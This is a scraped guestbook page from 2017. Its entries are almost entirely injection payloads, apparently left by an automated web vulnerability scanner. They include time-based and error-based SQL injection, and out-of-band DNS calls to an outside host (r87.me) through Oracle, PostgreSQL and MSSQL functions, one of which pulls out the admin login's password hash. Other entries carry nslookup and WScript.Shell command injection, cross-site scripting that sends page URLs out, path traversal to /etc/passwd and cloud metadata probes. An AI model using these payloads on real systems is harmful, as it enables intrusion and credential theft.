\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n -1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1\r\n

\r\n
\r\n

&nslookup \"o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj\"\"oac.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

javascript:netsparker(0x002A73)

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&nslookup \"o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3\"\"_iq.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL))))\r\n

\r\n
\r\n

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5\"\"g2w.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26\"\"lsu.r87.me\"

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\\\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\\\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\\\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\\\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\">

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\\\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL)\r\n

\r\n
\r\n

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\\\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'>

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n ';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz\"+\"lqw.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal\"+\"9om.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6C

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\\\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||'\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6B

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\\\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)\r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A6A

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric)\r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A69

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 ns=netsparker(0x002A5F)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\" ns=netsparker(0x002A5D)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n Guestbook.aspx\u0000\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '+NSFTW+'\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n Guestbook.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7\" & \"32o.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1');SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n data:;base64,TlM3NzU0NTYxNDQ2NTc1\r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio\" & \"qju.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y\" & \"wqa.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-\" & \"y9m.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n //r87.com/?0x003F84\r\n

\r\n
\r\n

1);SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

N3TSP4RKE2

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\r\n

\r\n
\r\n

nxtspxrkex

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n [ns](javascript:netsparker(0x003F5C);)\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n NSFTW\r\n

\r\n
\r\n

n3tsp4rke2

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n /etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n '\"@-->\r\n

\r\n
\r\n

SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt\" & \"ano.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl\" & \"8u8.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s\" & \"jba.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl\" & \"cpq.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//etc/passwd\r\n

\r\n
\r\n

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)\r\n

\r\n
\r\n

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000.aspx\r\n

\r\n
\r\n

((select sleep(25)))a-- 1

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n http://127.0.0.1:3306\r\n

\r\n
\r\n

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n http://127.100.11.2:22\r\n

\r\n
\r\n

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r\r\n

\r\n
\r\n

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'\r\n

\r\n
\r\n

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n 1'))exec('xp_dirtree ''\\\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1))exec('xp_dirtree ''\\\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

1)) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1')exec('xp_dirtree ''\\\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n 1) exec('xp_dirtree ''\\\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n -1';exec('xp_dirtree ''\\\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

')) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n 1;exec('xp_dirtree ''\\\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n exec('xp_dirtree ''\\\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\\c$\\a''')\r\n

\r\n
\r\n

') WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n http://169.254.169.254/latest/meta-data/public-hostname\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs\" & \"j3o.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n
